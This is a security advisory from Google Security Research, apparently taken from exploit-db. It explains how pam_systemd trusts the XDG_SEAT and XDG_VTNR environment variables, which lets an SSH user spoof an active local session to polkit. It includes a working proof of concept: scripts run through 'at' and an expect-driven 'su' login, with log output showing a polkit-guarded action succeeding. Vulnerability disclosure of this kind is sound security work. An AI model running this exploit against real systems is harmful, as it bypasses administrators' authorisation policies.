systemd – Lack of Seat Verification in PAM Module Permits Spoofing Active Session to polkit

  • 作者: Google Security Research
    日期: 2019-04-23
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/46743/
  • As documented at
    <https://www.freedesktop.org/software/polkit/docs/latest/polkit.8.html>, for
    any action, a polkit policy can specify separate levels of required
    authentication based on whether a client is:
    
     - in an active session on a local console
     - in an inactive session on a local console
     - or neither
    
    This is expressed in the policy using the elements "allow_any",
    "allow_inactive" and "allow_active". Very roughly speaking, the idea here is
    to give special privileges to processes owned by users that are sitting
    physically in front of the machine (or at least, a keyboard and a screen that
    are connected to a machine), and restrict processes that e.g. belong to users
    that are ssh'ing into a machine.
    
    For example, the ability to refresh the system's package index is restricted
    this way using a policy in
    /usr/share/polkit-1/actions/org.freedesktop.packagekit.policy:
    
    <action id="org.freedesktop.packagekit.system-sources-refresh">
    [...]
    <description>Refresh system repositories</description>
    [...]
    <message>Authentication is required to refresh the system repositories</message>
    [...]
    <defaults>
    <allow_any>auth_admin</allow_any>
    <allow_inactive>auth_admin</allow_inactive>
    <allow_active>yes</allow_active>
    </defaults>
    </action>
    
    
    On systems that use systemd-logind, polkit determines whether a session is
    associated with a local console by checking whether systemd-logind is tracking
    the session as being associated with a "seat". This happens through
    polkit_backend_session_monitor_is_session_local() in
    polkitbackendsessionmonitor-systemd.c, which calls sd_session_get_seat().
    The check whether a session is active works similarly.
    
    systemd-logind is informed about the creation of new sessions by the PAM
    module pam_systemd through a systemd message bus call from
    pam_sm_open_session() to method_create_session(). The RPC method trusts the
    information supplied to it, apart from some consistency checks; that is not
    directly a problem, since this RPC method can only be invoked by root.
    This means that the PAM module needs to ensure that it doesn't pass incorrect
    data to systemd-logind.
    
    Looking at the code in the PAM module, however, you can see that the seat name
    of the session and the virtual terminal number come from environment
    variables:
    
    seat = getenv_harder(handle, "XDG_SEAT", NULL);
    cvtnr = getenv_harder(handle, "XDG_VTNR", NULL);
    type = getenv_harder(handle, "XDG_SESSION_TYPE", type_pam);
    class = getenv_harder(handle, "XDG_SESSION_CLASS", class_pam);
    desktop = getenv_harder(handle, "XDG_SESSION_DESKTOP", desktop_pam);
    
    This is actually documented at
    <https://www.freedesktop.org/software/systemd/man/pam_systemd.html#Environment>.
    
    After some fixup logic that is irrelevant here, this data is then passed to
    the RPC method.
    
    
    One quirk of this issue is that a new session is only created if the calling
    process is not already part of a session (based on the cgroups it is in,
    parsed from procfs). This means that an attacker can't simply ssh into a
    machine, set some environment variables, and then invoke a setuid binary that
    uses PAM (such as "su") because ssh already triggers creation of a session via
    PAM. But as it turns out, the systemd PAM module is only invoked for
    interactive sessions:
    
    # cat /usr/share/pam-configs/systemd
    Name: Register user sessions in the systemd control group hierarchy
    Default: yes
    Priority: 0
    Session-Interactive-Only: yes
    Session-Type: Additional
    Session:
    optional pam_systemd.so
    
    So, under the following assumptions:
    
     - we can run commands on the remote machine, e.g. via SSH
     - our account can be used with "su" (it has a password and isn't disabled)
     - the machine has no X server running and is currently displaying tty1, with
     a login prompt
    
    we can have our actions checked against the "allow_active" policies instead of
    the "allow_any" policies as follows:
    
     - SSH into the machine
     - use "at" to schedule a job in one minute that does the following:
     * wipe the environment
     * set XDG_SEAT=seat0 and XDG_VTNR=1
     * use "expect" to run "su -c {...} {our_username}" and enter our user's
     password
     * in the shell invoked by "su", perform the action we want to run under the
     "allow_active" policy
    
    
    I tested this in a Debian 10 VM, as follows ("{{{...}}}" have been replaced),
    after ensuring that no sessions are active and the VM's screen is showing the
    login prompt on tty1; all following commands are executed over SSH:
    
    
    =====================================================================
    normal_user@deb10:~$ cat session_outer.sh 
    #!/bin/sh
    echo "===== OUTER TESTING PKCON" >/tmp/atjob.log
    pkcon refresh -p </dev/null >>/tmp/atjob.log
    env -i /home/normal_user/session_middle.sh
    normal_user@deb10:~$ cat session_middle.sh 
    #!/bin/sh
    export XDG_SEAT=seat0
    export XDG_VTNR=1
    
    echo "===== ENV DUMP =====" > /tmp/atjob.log
    env >> /tmp/atjob.log
    
    echo "===== SESSION_OUTER =====" >> /tmp/atjob.log
    cat /proc/self/cgroup >> /tmp/atjob.log
    
    echo "===== OUTER LOGIN STATE =====" >> /tmp/atjob.log
    loginctl --no-ask-password >> /tmp/atjob.log
    
    echo "===== MIDDLE TESTING PKCON" >>/tmp/atjob.log
    pkcon refresh -p </dev/null >>/tmp/atjob.log
    
    /home/normal_user/runsu.expect
    
    echo "=========================" >> /tmp/atjob.log
    normal_user@deb10:~$ cat runsu.expect 
    #!/usr/bin/expect
    spawn /bin/su -c "/home/normal_user/session_inner.sh" normal_user
    expect "Password: "
    send "{{{PASSWORD}}}\n"
    expect eof
    
    normal_user@deb10:~$ cat session_inner.sh 
    #!/bin/sh
    echo "===== INNER LOGIN STATE =====" >> /tmp/atjob.log
    loginctl --no-ask-password >> /tmp/atjob.log
    
    echo "===== SESSION_INNER =====" >> /tmp/atjob.log
    cat /proc/self/cgroup >> /tmp/atjob.log
    
    echo "===== INNER TESTING PKCON" >>/tmp/atjob.log
    pkcon refresh -p </dev/null >>/tmp/atjob.log
    
    normal_user@deb10:~$ loginctl
    SESSIONUID USERSEAT TTY
    7 1001 normal_userpts/0
    
    1 sessions listed.
    normal_user@deb10:~$ pkcon refresh -p </dev/null
    Transaction:	Refreshing cache
    Status: 	Waiting in queue
    Status: 	Waiting for authentication
    Status: 	Finished
    Results:
    Fatal error: Failed to obtain authentication.
    normal_user@deb10:~$ at -f /home/normal_user/session_outer.sh {{{TIME}}}
    warning: commands will be executed using /bin/sh
    job 25 at {{{TIME}}}
    {{{ wait here until specified time has been reached, plus time for the job to finish running}}}
    normal_user@deb10:~$ cat /tmp/atjob.log 
    ===== ENV DUMP =====
    XDG_SEAT=seat0
    XDG_VTNR=1
    PWD=/home/normal_user
    ===== SESSION_OUTER =====
    10:memory:/system.slice/atd.service
    9:freezer:/
    8:pids:/system.slice/atd.service
    7:perf_event:/
    6:devices:/system.slice/atd.service
    5:net_cls,net_prio:/
    4:cpuset:/
    3:blkio:/
    2:cpu,cpuacct:/
    1:name=systemd:/system.slice/atd.service
    0::/system.slice/atd.service
    ===== OUTER LOGIN STATE =====
    SESSIONUID USERSEAT TTY
    7 1001 normal_userpts/0
    
    1 sessions listed.
    ===== MIDDLE TESTING PKCON
    Transaction:	Refreshing cache
    Status: 	Waiting in queue
    Status: 	Waiting for authentication
    Status: 	Finished
    Results:
    Fatal error: Failed to obtain authentication.
    ===== INNER LOGIN STATE =====
    SESSIONUID USERSEATTTY
     18 1001 normal_user seat0 pts/1
    7 1001 normal_user pts/0
    
    2 sessions listed.
    ===== SESSION_INNER =====
    10:memory:/user.slice/user-1001.slice/session-18.scope
    9:freezer:/
    8:pids:/user.slice/user-1001.slice/session-18.scope
    7:perf_event:/
    6:devices:/user.slice
    5:net_cls,net_prio:/
    4:cpuset:/
    3:blkio:/
    2:cpu,cpuacct:/
    1:name=systemd:/user.slice/user-1001.slice/session-18.scope
    0::/user.slice/user-1001.slice/session-18.scope
    ===== INNER TESTING PKCON
    Transaction:	Refreshing cache
    Status: 	Waiting in queue
    Status: 	Waiting for authentication
    Status: 	Waiting in queue
    Status: 	Starting
    Status: 	Loading cache
    Percentage:	0
    Percentage:	50
    Percentage:	100
    Percentage:	0
    Percentage:	50
    Percentage:	100
    Status: 	Refreshing software list
    Status: 	Downloading packages
    Percentage:	0
    Status: 	Running
    Status: 	Loading cache
    Percentage:	100
    Status: 	Finished
    Results:
     Enabledhttp://ftp.ch.debian.org/debian buster InRelease
     Enabledhttp://security.debian.org/debian-security buster/updates InRelease
     Enabledhttp://debug.mirrors.debian.org/debian-debug buster-debug InRelease
    =========================
    You have new mail in /var/mail/normal_user
    normal_user@deb10:~$ 
    =====================================================================